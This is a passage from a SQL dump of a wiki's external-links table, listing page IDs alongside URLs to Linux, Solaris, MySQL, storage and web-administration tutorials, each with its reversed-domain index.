_solx86','http://com.transitive.www./products/solsparc_solx86'),(136,'http://opensolaris.org/os/project/crossbow/Docs/Overview/','http://org.opensolaris./os/project/crossbow/Docs/Overview/'),(136,'http://www.transitive.com/customers/apple.html','http://com.transitive.www./customers/apple.html'),(136,'http://en.wikipedia.org/wiki/Transitive_Corp','http://org.wikipedia.en./wiki/Transitive_Corp'),(136,'http://blogs.zdnet.com/BTL/?p=8524','http://com.zdnet.blogs./BTL/?p=8524'),(137,'http://weblogs.java.net/blog/bleonard/archive/2008/06/opensolaris_200_3.html','http://net.java.weblogs./blog/bleonard/archive/2008/06/opensolaris_200_3.html'),(137,'http://www.cyberciti.biz/faq/mysql-user-creation/','http://biz.cyberciti.www./faq/mysql-user-creation/'),(137,'http://blogs.sun.com/souvik/entry/getting_started_with_opensolaris_2008','http://com.sun.blogs./souvik/entry/getting_started_with_opensolaris_2008'),(137,'http://opensolaris.org/jive/thread.jspa?messageID=239561','http://org.opensolaris./jive/thread.jspa?messageID=239561'),(137,'http://www.scribd.com/doc/2994715/Getting-Started-With-OpenSolaris-200805','http://com.scribd.www./doc/2994715/Getting-Started-With-OpenSolaris-200805'),(137,'http://opensolaris.org/jive/thread.jspa?threadID=15224','http://org.opensolaris./jive/thread.jspa?threadID=15224'),(137,'http://blogs.sun.com/middle/entry/opensolaris_developer_preview_on_vmware','http://com.sun.blogs./middle/entry/opensolaris_developer_preview_on_vmware'),(137,'http://blogs.sun.com/mrj/entry/installing_opensolaris_on','http://com.sun.blogs./mrj/entry/installing_opensolaris_on'),(137,'http://www.mobilnews.cz/blog/?p=42','http://cz.mobilnews.www./blog/?p=42'),(62,'http://packratstudios.com/index.php/2008/04/20/how-to-setup-clonezilla-on-linux-ubuntu-quick-start-guide/','http://com.packratstudios./index.php/2008/04/20/how-to-setup-clonezilla-on-linux-ubuntu-quick-start-guide/'),(138,'http://undeadly.org/cgi?action=article&sid=20080220110039','http://org.undeadly./cgi?action=article&sid=20080220110039'),(138,'http://chrootssh.sourceforge.net/','http://net.sourceforge.chrootssh./'),(140,'http://en.wikipedia.org/wiki/An_Essay_on_the_Principle_of_Population','http://org.wikipedia.en./wiki/An_Essay_on_the_Principle_of_Population'),(35,'http://gentoo-wiki.com/HOWTO_Use_hdparm_to_improve_IDE_device_performance#bonnie.2B.2B','http://com.gentoo-wiki./HOWTO_Use_hdparm_to_improve_IDE_device_performance#bonnie.2B.2B'),(35,'http://www.linuxinsight.com/how_fast_is_your_disk.html','http://com.linuxinsight.www./how_fast_is_your_disk.html'),(35,'http://www.linuxinsight.com/files/seeker.c','http://com.linuxinsight.www./files/seeker.c'),(141,'http://vancouver-webpages.com/net/verify-email.shtml','http://com.vancouver-webpages./net/verify-email.shtml'),(143,'http://www.ami.com/support/bios.cfm','http://com.ami.www./support/bios.cfm'),(143,'http://www.abxzone.com/forums/f41/afudos-parameters-67628.html','http://com.abxzone.www./forums/f41/afudos-parameters-67628.html'),(143,'http://www.biostar.com.tw/app/en-us/mb/bios.php?S_ID=350','http://tw.com.biostar.www./app/en-us/mb/bios.php?S_ID=350'),(144,'http://www.oooninja.com/2008/01/convert-openxml-docx-etc-in-linux-using.html','http://com.oooninja.www./2008/01/convert-openxml-docx-etc-in-linux-using.html'),(146,'http://www.usenix.org/events/fast07/tech/schroeder.html','http://org.usenix.www./events/fast07/tech/schroeder.html'),(146,'http://www.cs.cmu.edu/~bianca/fast07.pdf','http://edu.cmu.cs.www./~bianca/fast07.pdf'),(146,'http://storagemojo.com/2007/02/20/everything-you-know-about-disks-is-wrong/','http://com.storagemojo./2007/02/20/everything-you-know-about-disks-is-wrong/'),(146,'http://storageadvisors.adaptec.com/2007/07/10/effect-of-drive-count-on-raid-5/','http://com.adaptec.storageadvisors./2007/07/10/effect-of-drive-count-on-raid-5/'),(146,'http://blogs.zdnet.com/storage/?p=162','http://com.zdnet.blogs./storage/?p=162'),(146,'http://research.google.com/archive/disk_failures.pdf','http://com.google.research./archive/disk_failures.pdf'),(147,'http://support.mozilla.com/en-US/kb/Using+the+Windows+Media+Player+plugin+with+Firefox','http://com.mozilla.support./en-US/kb/Using+the+Windows+Media+Player+plugin+with+Firefox'),(148,'http://www.sun.com/training/catalog/courses/WS-245.xml','http://com.sun.www./training/catalog/courses/WS-245.xml'),(148,'http://docs.sun.com/app/docs/doc/819-5461/6n7ht6qrq?a=view','http://com.sun.docs./app/docs/doc/819-5461/6n7ht6qrq?a=view'),(149,'http://secfr.nerim.net/docs/fingerprint/en/ttl_default.html','http://net.nerim.secfr./docs/fingerprint/en/ttl_default.html'),(150,'http://www.captain.at/howto-linux-driveready-seekcomplete-error-drivestatuserror.php','http://at.captain.www./howto-linux-driveready-seekcomplete-error-drivestatuserror.php'),(151,'http://www.digitalforensicssolutions.com/Scalpel/','http://com.digitalforensicssolutions.www./Scalpel/'),(151,'http://batleth.sapienti-sat.org/projects/FAQs/ext3-faq.html','http://org.sapienti-sat.batleth./projects/FAQs/ext3-faq.html'),(72,'http://openvpn.net/index.php/documentation/howto.html#pki','http://net.openvpn./index.php/documentation/howto.html#pki'),(152,'http://aplawrence.com/Linux/buffer_cache.html','http://com.aplawrence./Linux/buffer_cache.html'),(153,'http://www.craftychess.com/','http://com.craftychess.www./'),(153,'http://macles.blogspot.com/2008/09/intel-cc-compiler-gcc-and-intel-atom.html','http://com.blogspot.macles./2008/09/intel-cc-compiler-gcc-and-intel-atom.html'),(153,'http://cache-www.intel.com/cd/00/00/27/66/276615_276615.pdf','http://com.intel.cache-www./cd/00/00/27/66/276615_276615.pdf'),(153,'ftp://ftp.cis.uab.edu/pub/hyatt/','ftp://edu.uab.cis.ftp./pub/hyatt/'),(154,'http://www.intel.com/cd/software/products/asmo-na/eng/compilers/clin/277618.htm','http://com.intel.www./cd/software/products/asmo-na/eng/compilers/clin/277618.htm'),(154,'http://www.intel.com/software/products/compilers/docs/clin/INSTALL.htm','http://com.intel.www./software/products/compilers/docs/clin/INSTALL.htm'),(154,'http://www.intel.com/software/products/compilers/docs/clin/INSTALL.htm#settingup','http://com.intel.www./software/products/compilers/docs/clin/INSTALL.htm#settingup'),(154,'http://macles.blogspot.com/2008/09/intel-cc-compiler-gcc-and-intel-atom.html','http://com.blogspot.macles./2008/09/intel-cc-compiler-gcc-and-intel-atom.html'),(154,'http://www.eclipse.org/cdt/','http://org.eclipse.www./cdt/'),(124,'http://deflate.medialayer.com/','http://com.medialayer.deflate./'),(124,'http://www.inetbase.com/scripts/ddos/install.sh','http://com.inetbase.www./scripts/ddos/install.sh'),(124,'http://www.inetbase.com/scripts/ddos/uninstall.ddos','http://com.inetbase.www./scripts/ddos/uninstall.ddos'),(155,'http://kb.sagonet.com/MySQL_Table_Recovery_to_the_Extreme','http://com.sagonet.kb./MySQL_Table_Recovery_to_the_Extreme'),(155,'http://paulstamatiou.com/2006/05/31/how-to-quickie-repair-mysql-tables-in-phpmyadmin','http://com.paulstamatiou./2006/05/31/how-to-quickie-repair-mysql-tables-in-phpmyadmin'),(156,'http://ks.sagonet.com/ipmi/ipmi-install.sh','http://com.sagonet.ks./ipmi/ipmi-install.sh'),(157,'http://www.centos.org/docs/5/html/Deployment_Guide-en-US/ch-samba.html','http://org.centos.www./docs/5/html/Deployment_Guide-en-US/ch-samba.html'),(157,'http://us3.samba.org/samba/docs/using_samba/toc.html','http://org.samba.us3./samba/docs/using_samba/toc.html'),(157,'http://us6.samba.org/samba/','http://org.samba.us6./samba/'),(158,'ftp://guest@csdftp.acer.com.tw/Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip','ftp://tw.com.acer.csdftp./Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip'),(158,'http://docs.fedoraproject.org/drafts/rpm-guide-en/ch-rpmbuild.html','http://org.fedoraproject.docs./drafts/rpm-guide-en/ch-rpmbuild.html'),(158,'http://www.eu.kernel.org/pub/linux/kernel/v2.6/linux-2.6.23.9.tar.bz2','http://org.kernel.eu.www./pub/linux/kernel/v2.6/linux-2.6.23.9.tar.bz2'),(158,'http://macles.blogspot.com/search?q=kernel','http://com.blogspot.macles./search?q=kernel'),(161,'http://www.digitalforensicssolutions.com/Scalpel/','http://com.digitalforensicssolutions.www./Scalpel/'),(161,'http://foremost.sourceforge.net/','http://net.sourceforge.foremost./'),(167,'http://www.mediawiki.org/wiki/Manual:Mime_type_detection','http://org.mediawiki.www./wiki/Manual:Mime_type_detection'),(168,'http://www.mattcutts.com/blog/three-tips-to-protect-your-wordpress-installation/','http://com.mattcutts.www./blog/three-tips-to-protect-your-wordpress-installation/'),(167,'http://webservices.blog.gustavus.edu/2007/06/18/fixing-broken-png-uploads-with-mediawiki/','http://edu.gustavus.blog.webservices./2007/06/18/fixing-broken-png-uploads-with-mediawiki/'),(88,'http://blogs.sun.com/observatory/','http://com.sun.blogs./observatory/'),(168,'http://wordpress.org/support/topic/164999','http://org.wordpress./support/topic/164999'),(168,'http://wordpress.org/support/topic/189480','http://org.wordpress./support/topic/189480'),(168,'http://codex.wordpress.org/Wrapping_Text_Around_Images','http://org.wordpress.codex./Wrapping_Text_Around_Images'),(158,'http://pagesperso-orange.fr/sebastien.godard/faq.html','http://fr.pagesperso-orange./sebastien.godard/faq.html'),(158,'http://www.aspireoneuser.com/forum/viewtopic.php?f=39&t=1993','http://com.aspireoneuser.www./forum/viewtopic.php?f=39&t=1993'),(158,'http://macles.blogspot.com/2008/08/acer-aspire-one-linux-source-code.html','http://com.blogspot.macles./2008/08/acer-aspire-one-linux-source-code.html'),(88,'https://host:6789','https://host.:6789/'),(88,'http://www.unix.com/sun-solaris/36186-zfs-gui-does-not-work.html','http://com.unix.www./sun-solaris/36186-zfs-gui-does-not-work.html'),(30,'http://www.apple.com/downloads/macosx/drivers/logitechcontrolcenter.html','http://com.apple.www./downloads/macosx/drivers/logitechcontrolcenter.html'),(170,'http://www.xvmserver.org/','http://org.xvmserver.www./'),(170,'http://www.sun.com/software/products/xvm/index.jsp','http://com.sun.www./software/products/xvm/index.jsp'),(170,'http://wikis.sun.com/display/xvminfoex/Home','http://com.sun.wikis./display/xvminfoex/Home'),(170,'http://www.sun.com/software/products/xvm/getstarted.jsp','http://com.sun.www./software/products/xvm/getstarted.jsp'),(170,'http://kenai.com/projects/xvmserver/pages/Home','http://com.kenai./projects/xvmserver/pages/Home'),(170,'http://opensolaris.org/os/community/xen/','http://org.opensolaris./os/community/xen/'),(170,'http://wikis.sun.com/display/xvmOC1dot1/Home','http://com.sun.wikis./display/xvmOC1dot1/Home'),(170,'http://blogs.sun.com/SDNProgramNews/entry/xvm_documentation_on_opensolaris_site','http://com.sun.blogs./SDNProgramNews/entry/xvm_documentation_on_opensolaris_site'),(170,'http://www.xvmserver.org/download.html','http://org.xvmserver.www./download.html'),(170,'http://opensolaris.org/os/project/nlosug/meetingarchive/xvm.pdf','http://org.opensolaris./os/project/nlosug/meetingarchive/xvm.pdf'),(100,'http://www.linuxjournal.com/article/7034','http://com.linuxjournal.www./article/7034'),(100,'http://rpmrebuild.sourceforge.net/rpmrebuild.1.html','http://net.sourceforge.rpmrebuild./rpmrebuild.1.html'),(108,'http://dmiessler.com/blog/linux-xargs-vs-exec','http://com.dmiessler./blog/linux-xargs-vs-exec'),(108,'http://linuxshellaccount.blogspot.com/2007/11/using-find-and-xargs-to-locate-windows.html','http://com.blogspot.linuxshellaccount./2007/11/using-find-and-xargs-to-locate-windows.html'),(173,'http://65.110.47.212:8080/tomcatroot.htm','http://212.47.110.65.:8080/tomcatroot.htm'),(173,'http://www.developer.com/java/web/article.php/3625161#SimpleApp','http://com.developer.www./java/web/article.php/3625161#SimpleApp'),(173,'http://www.netadmintools.com/art340.html','http://com.netadmintools.www./art340.html'),(100,'http://www.cognitus.net/html/howto/rpmSigning.html','http://net.cognitus.www./html/howto/rpmSigning.html'),(100,'http://sial.org/howto/rpm/','http://org.sial./howto/rpm/'),(100,'http://fedoranews.org/tchung/gpg/','http://org.fedoranews./tchung/gpg/'),(100,'http://www.gnupg.org/gph/en/manual.html','http://org.gnupg.www./gph/en/manual.html'),(100,'http://sial.org/howto/yum/','http://org.sial./howto/yum/'),(101,'http://www.irongeek.com/i.php?page=security/ettercapfilter','http://com.irongeek.www./i.php?page=security/ettercapfilter'),(101,'http://forums.remote-exploit.org/showthread.php?t=7681','http://org.remote-exploit.forums./showthread.php?t=7681'),(101,'http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833','http://net.sourceforge.ettercap./forum/viewtopic.php?t=2833'),(174,'http://s7.addthis.com/js/152/addthis_widget.js','http://com.addthis.s7./js/152/addthis_widget.js'),(175,'http://www.timelordz.com/wiki/index.php/Widget:AddThis','http://com.timelordz.www./wiki/index.php/Widget:AddThis'),(174,'http://www.mediawikiwidgets.org/AddThis','http://org.mediawikiwidgets.www./AddThis'),(174,'http://s9.addthis.com/button1-share.gif','http://com.addthis.s9./button1-share.gif'),(176,'http://www.addthis.com/','http://com.addthis.www./'),(176,'http://www.mediawikiwidgets.org/User:Yaron_Koren','http://org.mediawikiwidgets.www./User:Yaron_Koren'),(176,'http://www.mediawikiwidgets.org/AddThis','http://org.mediawikiwidgets.www./AddThis'),(176,'http://www.mediawiki.org/wiki/Extension:Widgets','http://org.mediawiki.www./wiki/Extension:Widgets'),(176,'http://www.timelordz.com/wiki/index.php?title=Widget:AddThis&action=edit','http://com.timelordz.www./wiki/index.php?title=Widget:AddThis&action=edit'),(174,'http://www.mediawiki.org/wiki/Extension:Widget','http://org.mediawiki.www./wiki/Extension:Widget'),(174,'http://groups.google.com/group/mediawiki-widgets/browse_thread/thread/bdbe2ff219e2ba43#','http://com.google.groups./group/mediawiki-widgets/browse_thread/thread/bdbe2ff219e2ba43'),(174,'http://www.mediawiki.org/wiki/Special:ExtensionDistributor','http://org.mediawiki.www./wiki/Special:ExtensionDistributor'),(174,'http://blog.addthis.com/?p=24','http://com.addthis.blog./?p=24'),(174,'http://www.aviransplace.com/digg-this-wordpress-plugin/','http://com.aviransplace.www./digg-this-wordpress-plugin/'),(174,'http://codex.wordpress.org/The_Loop','http://org.wordpress.codex./The_Loop'),(174,'http://www.timelordz.com/blog/?p=169','http://com.timelordz.www./blog/?p=169'),(174,'http://www.mediawiki.org/wiki/Extension:Social_Bookmarking','http://org.mediawiki.www./wiki/Extension:Social_Bookmarking'),(174,'http://www.addthis.com','http://com.addthis.www./'),(167,'http://planetozh.com/blog/2006/05/how-to-add-a-custom-function-to-mediawiki/','http://com.planetozh./blog/2006/05/how-to-add-a-custom-function-to-mediawiki/'),(167,'http://www.mediawikiextension.cn/','http://cn.mediawikiextension.www./'),(167,'http://wiki.edsimpson.co.uk/index.php/Digg_Extension','http://uk.co.edsimpson.wiki./index.php/Digg_Extension'),(174,'http://wiki.edsimpson.co.uk/index.php/Talk:Digg_Extension','http://uk.co.edsimpson.wiki./index.php/Talk:Digg_Extension'),(174,'http://edsimpson.co.uk/Digg.php.txt','http://uk.co.edsimpson./Digg.php.txt'),(174,'http://www.timelordz.com/blog/?p=180','http://com.timelordz.www./blog/?p=180'),(158,'http://www.linfo.org/vmlinuz.html','http://org.linfo.www./vmlinuz.html'),(179,'http://wiki.linuxquestions.org/wiki/Some_dd_examples','http://org.linuxquestions.wiki./wiki/Some_dd_examples'),(14,'http://pagesperso-orange.fr/sebastien.godard/download.html','http://fr.pagesperso-orange./sebastien.godard/download.html'),(14,'http://pagesperso-orange.fr/sebastien.godard/sysstat-8.1.7-1.i586.rpm','http://fr.pagesperso-orange./sebastien.godard/sysstat-8.1.7-1.i586.rpm'),(180,'http://www.phoronix-test-suite.com/?k=usage','http://com.phoronix-test-suite.www./?k=usage'),(180,'http://global.phoronix-test-suite.com/?k=author&u=SagoLabs','http://com.phoronix-test-suite.global./?k=author&u=SagoLabs'),(180,'http://global.phoronix-test-suite.com/rss.php?a=sagolabs','http://com.phoronix-test-suite.global./rss.php?a=sagolabs'),(180,'http://www.phoronix-test-suite.com/?k=downloads','http://com.phoronix-test-suite.www./?k=downloads'),(180,'http://www.phoronix-test-suite.com/download.php?file=phoronix-test-suite-1.4.2','http://com.phoronix-test-suite.www./download.php?file=phoronix-test-suite-1.4.2'),(181,'http://docs.hp.com/en/B2355-90110/ch05s04.html','http://com.hp.docs./en/B2355-90110/ch05s04.html'),(181,'http://docs.hp.com/en/B2355-90685/ch04s11.html','http://com.hp.docs./en/B2355-90685/ch04s11.html'),(181,'http://www.mindflip.com/inet/sendmail.html','http://com.mindflip.www./inet/sendmail.html'),(141,'http://www.freebsddiary.org/sendmail-verify.php','http://org.freebsddiary.www./sendmail-verify.php'),(182,'http://www.inquisitor.ru/support.html','http://ru.inquisitor.www./support.html'),(182,'http://www.linux.com/feature/149774','http://com.linux.www./feature/149774'),(182,'http://sourceforge.net/mailarchive/forum.php?forum_name=inq-discuss-en','http://net.sourceforge./mailarchive/forum.php?forum_name=inq-discuss-en'),(182,'http://sourceforge.net/projects/inq/','http://net.sourceforge./projects/inq/'),(158,'http://ark.intel.com/ProductCollection.aspx?familyID=29035','http://com.intel.ark./ProductCollection.aspx?familyID=29035'),(183,'http://www.unix.com/shell-programming-scripting/70551-append-character-end-each-line-file.html','http://com.unix.www./shell-programming-scripting/70551-append-character-end-each-line-file.html'),(183,'http://student.northpark.edu/pemente/sed/sedfaq3.html','http://edu.northpark.student./pemente/sed/sedfaq3.html'),(183,'http://www.grymoire.com/Unix/Sed.html#uh-40','http://com.grymoire.www./Unix/Sed.html#uh-40'),(158,'http://translate.google.com/translate?hl=en&sl=no&u=http://www.diskusjon.no/lofiversion/index.php/t563668.html&sa=X&oi=translate&resnum=3&ct=result&prev=/search%3Fq=make:+***+%5B_module_+drivers/usb/storage/unusual_devs%5D+Error+2&hl=en&client=firefox-a&rls=org.mozilla:en-US:official&hs=gPz&sa=X','http://com.google.translate./translate?hl=en&sl=no&u=http://www.diskusjon.no/lofiversion/index.php/t563668.html&sa=X&oi=translate&resnum=3&ct=result&prev=/search%3Fq=make:+***+%5B_module_+drivers/usb/storage/unusual_devs%5D+Error+2&hl=en&client=firefox-a&rls=org.mozilla:en-US:official&hs=gPz&sa=X'),(184,'http://articles.techrepublic.com.com/5100-10878_11-6180677.html','http://com.com.techrepublic.articles./5100-10878_11-6180677.html'),(54,'http://smartmontools.sourceforge.net/smartmontools_scsi.html','http://net.sourceforge.smartmontools./smartmontools_scsi.html'),(187,'http://www.planetplanet.org/','http://org.planetplanet.www./'),(187,'http://htmltmpl.sourceforge.net/','http://net.sourceforge.htmltmpl./'),(142,'http://www.webyog.com/en/','http://com.webyog.www./en/'),(188,'http://tech-center.sagonet.com/ajax-control.php','http://com.sagonet.tech-center./ajax-control.php'),(188,'http://www.cyberciti.biz/tips/howto-linux-add-ethtool-duplex-settings-permanent.html','http://biz.cyberciti.www./tips/howto-linux-add-ethtool-duplex-settings-permanent.html'),(189,'http://dist.trolltech.com/developer/download/webstart/index.html','http://com.trolltech.dist./developer/download/webstart/index.html'),(189,'http://o3spaces.org/','http://org.o3spaces./'),(189,'http://community.o3spaces.com/','http://com.o3spaces.community./'),(189,'http://timelordz.com:8095/spaces','http://com.timelordz.:8095/spaces'),(190,'http://www.webweaver.nu/html-tips/web-redirection.shtml','http://nu.webweaver.www./html-tips/web-redirection.shtml'),(190,'http://www.example.com/newpage.html','http://com.example.www./newpage.html'),(190,'http://www.example.com/','http://com.example.www./'),(190,'http://www.yoursite.com/$1','http://com.yoursite.www./$1'),(190,'http://webdesign.about.com/od/metataglibraries/a/aa080300a.htm','http://com.about.webdesign./od/metataglibraries/a/aa080300a.htm'),(190,'http://www.somewhere.com','http://com.somewhere.www./'),(190,'https://addons.mozilla.org/en-US/firefox/addon/3829','https://org.mozilla.addons./en-US/firefox/addon/3829'),(108,'http://www.zazzybob.com/etc.html','http://com.zazzybob.www./etc.html'),(191,'http://www.ehow.com/how_2034255_linux-suspend-monitor.html','http://com.ehow.www./how_2034255_linux-suspend-monitor.html'),(191,'http://www.linuxquestions.org/questions/slackware-14/how-do-i-put-monitor-on-standby-192975/','http://org.linuxquestions.www./questions/slackware-14/how-do-i-put-monitor-on-standby-192975/'),(174,'http://blog.patyuen.com/lessons/howto_install_diggthis_plugin/','http://com.patyuen.blog./lessons/howto_install_diggthis_plugin/'),(192,'http://aplawrence.com/Blog/B961.html','http://com.aplawrence./Blog/B961.html'),(193,'http://www.configserver.com/free/spammers.html','http://com.configserver.www./free/spammers.html'),(194,'http://www.belenix.org/content/Download','http://org.belenix.www./content/Download'),(194,'http://www.sun.drydog.com/faq/9.html#9.24','http://com.drydog.sun.www./faq/9.html#9.24'),(194,'http://opensolaris.org/os/project/pkg/','http://org.opensolaris./os/project/pkg/'),(194,'http://opensolaris.org/os/community/documentation/apt_ips/','http://org.opensolaris./os/community/documentation/apt_ips/'),(194,'http://blogs.sun.com/pradhap/entry/mount_ntfs_ext2_ext3_in','http://com.sun.blogs./pradhap/entry/mount_ntfs_ext2_ext3_in'),(179,'http://freshmeat.net/projects/addrescue/','http://net.freshmeat./projects/addrescue/'),(179,'http://wiki.sagonet.com/wiki/Dd_rescue#How_to_Match_Geometry','http://com.sagonet.wiki./wiki/Dd_rescue#How_to_Match_Geometry'),(195,'http://pxe.sagonet.com','http://com.sagonet.pxe./'),(195,'https://fedorahosted.org/cobbler/wiki/AllAboutImages','https://org.fedorahosted./cobbler/wiki/AllAboutImages'),(195,'https://fedorahosted.org/cobbler/wiki/HowToCobblerServer','https://org.fedorahosted./cobbler/wiki/HowToCobblerServer'),(195,'https://fedorahosted.org/cobbler/','https://org.fedorahosted./cobbler/'),(195,'http://magazine.redhat.com/2007/08/10/cobbler-how-to-set-up-a-network-boot-server-in-10-minutes/','http://com.redhat.magazine./2007/08/10/cobbler-how-to-set-up-a-network-boot-server-in-10-minutes/'),(195,'https://fedorahosted.org/cobbler/wiki/HowToPxeAnyLiveCd','https://org.fedorahosted./cobbler/wiki/HowToPxeAnyLiveCd'),(196,'http://paparadit.blogspot.com/search/label/Acer%20Aspire%20One','http://com.blogspot.paparadit./search/label/Acer%20Aspire%20One'),(196,'http://cmynhier.blogspot.com/2008/01/installing-opensolaris-preview-remotely.html','http://com.blogspot.cmynhier./2008/01/installing-opensolaris-preview-remotely.html'),(196,'http://blogs.sun.com/sch/entry/indiana_vesa_if_you_need','http://com.sun.blogs./sch/entry/indiana_vesa_if_you_need'),(196,'http://weblogs.java.net/blog/bleonard/archive/2008/05/_opensolaris_20.html','http://net.java.weblogs./blog/bleonard/archive/2008/05/_opensolaris_20.html'),(196,'http://blogs.sun.com/oslab/entry/patched_intel_video_drivers_for','http://com.sun.blogs./oslab/entry/patched_intel_video_drivers_for'),(196,'http://opensolaris.org/os/community/laptop/wireless/ath/','http://org.opensolaris./os/community/laptop/wireless/ath/'),(196,'http://blogs.sun.com/oslab/entry/acer_aspire_one_drivers_and','http://com.sun.blogs./oslab/entry/acer_aspire_one_drivers_and'),(196,'http://www.timelordz.com','http://com.timelordz.www./'),(196,'http://www.timelordz.com/blog/?p=260','http://com.timelordz.www./blog/?p=260'),(196,'http://opensolaris.org/os/community/laptop/wireless/wificonfig/','http://org.opensolaris./os/community/laptop/wireless/wificonfig/'),(199,'http://forums.opensuse.org/archives/sf-archives/archives-programming-scripting/345519-cron-kdialog-cannot-connect-x-server-2.html','http://org.opensuse.forums./archives/sf-archives/archives-programming-scripting/345519-cron-kdialog-cannot-connect-x-server-2.html'),(152,'http://penguinsecurity.net/wiki/index.php?title=Speeding_up_Linux_Using_hdparm','http://net.penguinsecurity./wiki/index.php?title=Speeding_up_Linux_Using_hdparm'),(152,'http://linux-ata.org/faq.html','http://org.linux-ata./faq.html'),(201,'http://crunchbang.org/wiki/vnstat-network-traffic-monitor/','http://org.crunchbang./wiki/vnstat-network-traffic-monitor/'),(201,'http://www.sqweek.com/sqweek/index.php?p=1','http://com.sqweek.www./sqweek/index.php?p=1'),(201,'http://www.timelordz.com/vnstat','http://com.timelordz.www./vnstat'),(202,'http://www.nessus.org/documentation/nessus_3.2_advanced_user_guide.pdf','http://org.nessus.www./documentation/nessus_3.2_advanced_user_guide.pdf'),(202,'http://blog.tenablesecurity.com/2009/02/enhanced_operat.html','http://com.tenablesecurity.blog./2009/02/enhanced_operat.html'),(202,'http://www.enterprisenetworkingplanet.com/netsecur/article.php/3716606','http://com.enterprisenetworkingplanet.www./netsecur/article.php/3716606'),(202,'http://en.wikibooks.org/wiki/Hacking/Tools/Network/Nmap','http://org.wikibooks.en./wiki/Hacking/Tools/Network/Nmap'),(203,'http://www.electrictoolbox.com/show-exim-mail-queue/','http://com.electrictoolbox.www./show-exim-mail-queue/'),(203,'http://www.exim.org/exim-html-4.00/doc/html/FAQ_7.html','http://org.exim.www./exim-html-4.00/doc/html/FAQ_7.html'),(204,'http://www.linux.com/feature/54300','http://com.linux.www./feature/54300'),(204,'http://www.linux.com/feature/40396','http://com.linux.www./feature/40396'),(204,'http://www.ocsinventory-ng.org/','http://org.ocsinventory-ng.www./'),(204,'http://wiki.ocsinventory-ng.org/index.php/OCS_Inventory_NG:Documentation','http://org.ocsinventory-ng.wiki./index.php/OCS_Inventory_NG:Documentation'),(204,'http://wiki.ocsinventory-ng.org/index.php/OCS_Inventory_NG:Documentation#Under_Linux_Operating_Systems','http://org.ocsinventory-ng.wiki./index.php/OCS_Inventory_NG:Documentation#Under_Linux_Operating_Systems'),(204,'http://wiki.ocsinventory-ng.org/index.php/OCS_Inventory_NG:Documentation#Under_Windows_Operating_Systems','http://org.ocsinventory-ng.wiki./index.php/OCS_Inventory_NG:Documentation#Under_Windows_Operating_Systems'),(204,'http://wiki.ocsinventory-ng.org/index.php/OCS_Inventory_NG:Documentation#Requirements._2','http://org.ocsinventory-ng.wiki./index.php/OCS_Inventory_NG:Documentation#Requirements._2'),(204,'http://ks.sagonet.com/tools/ocs/OCSNG_WINDOWS_AGENT_1.02.zip','http://com.sagonet.ks./tools/ocs/OCSNG_WINDOWS_AGENT_1.02.zip'),(204,'http://wiki.centos.org/HowTos/OCSNG','http://org.centos.wiki./HowTos/OCSNG'),(204,'http://glpi-project.org/?lang=en','http://org.glpi-project./?lang=en'),(206,'http://wiki.kde.org/tiki-index.php?page=Hidden+configuration','http://org.kde.wiki./tiki-index.php?page=Hidden+configuration'),(142,'http://www.pantz.org/software/mysql/mysqlcommands.html','http://org.pantz.www./software/mysql/mysqlcommands.html'),(142,'http://www.keithjbrown.co.uk/vworks/mysql/mysql_p6.php','http://uk.co.keithjbrown.www./vworks/mysql/mysql_p6.php'),(44,'http://www.mail-archive.com/backuppc-users@lists.sourceforge.net/msg07279.html','http://com.mail-archive.www./backuppc-users@lists.sourceforge.net/msg07279.html'),(44,'http://backuppc.wiki.sourceforge.net/How+to+delete+backups','http://net.sourceforge.wiki.backuppc./How+to+delete+backups'),(44,'http://backuppc.sourceforge.net/faq/BackupPC.html#commandline_restore_options','http://net.sourceforge.backuppc./faq/BackupPC.html#commandline_restore_options'),(44,'http://sourceforge.net/community/cca09/nominate/?project_name=BackupPC&project_url=http://sourceforge.net/projects/backuppc/','http://net.sourceforge./community/cca09/nominate/?project_name=BackupPC&project_url=http://sourceforge.net/projects/backuppc/'),(44,'http://sourceforge.net/images/cca/cca_nominate.png','http://net.sourceforge./images/cca/cca_nominate.png'),(207,'http://it.slashdot.org/it/08/02/10/2011257.shtml','http://org.slashdot.it./it/08/02/10/2011257.shtml'),(108,'http://www.jedsoft.org/most/download.html','http://org.jedsoft.www./most/download.html'),(108,'http://linuxtidbits.wordpress.com/2009/03/23/less-colors-for-man-pages/','http://com.wordpress.linuxtidbits./2009/03/23/less-colors-for-man-pages/'),(108,'http://nion.modprobe.de/blog/archives/569-colored-manpages.html','http://de.modprobe.nion./blog/archives/569-colored-manpages.html'),(208,'http://www.athabascau.ca/html/depts/compserv/webunit/HOWTO/rcs.htm','http://ca.athabascau.www./html/depts/compserv/webunit/HOWTO/rcs.htm'),(209,'http://ubuntuforums.org/showthread.php?t=849229','http://org.ubuntuforums./showthread.php?t=849229'),(209,'http://www.linuxquestions.org/questions/linux-general-1/what-is-used-to-create-the-shadow-password-hash-602739/','http://org.linuxquestions.www./questions/linux-general-1/what-is-used-to-create-the-shadow-password-hash-602739/'),(210,'http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch05_:_Troubleshooting_Linux_with_syslog','http://com.linuxhomenetworking.www./wiki/index.php/Quick_HOWTO_:_Ch05_:_Troubleshooting_Linux_with_syslog'),(193,'http://download1.parallels.com/Plesk/PPP9/Doc/en-US/plesk-9.2-unix-advanced-administration-guide/index.htm?fileName=61674.htm','http://com.parallels.download1./Plesk/PPP9/Doc/en-US/plesk-9.2-unix-advanced-administration-guide/index.htm?fileName=61674.htm'),(211,'http://packages.debian.org/lenny/all/firmware-bnx2/download','http://org.debian.packages./lenny/all/firmware-bnx2/download'),(211,'http://www.ducea.com/2009/03/02/debian-lenny-pxe-installation-on-dell-poweredge-19502950-servers-bnx2-annoyances/','http://com.ducea.www./2009/03/02/debian-lenny-pxe-installation-on-dell-poweredge-19502950-servers-bnx2-annoyances/'),(211,'http://insanelabs.com/debian/debian-lenny-cannot-load-broadcom-nic-drivers-asking-for-firmware-bnx2-06-405fw-during-install/','http://com.insanelabs./debian/debian-lenny-cannot-load-broadcom-nic-drivers-asking-for-firmware-bnx2-06-405fw-during-install/'),(211,'http://www.ducea.com/2008/10/21/bnx2-missing-from-stock-debian-2624-etchnhalf-kernel/','http://com.ducea.www./2008/10/21/bnx2-missing-from-stock-debian-2624-etchnhalf-kernel/'),(212,'http://us2.php.net/function.mssql-connect','http://net.php.us2./function.mssql-connect'),(212,'http://www.webcheatsheet.com/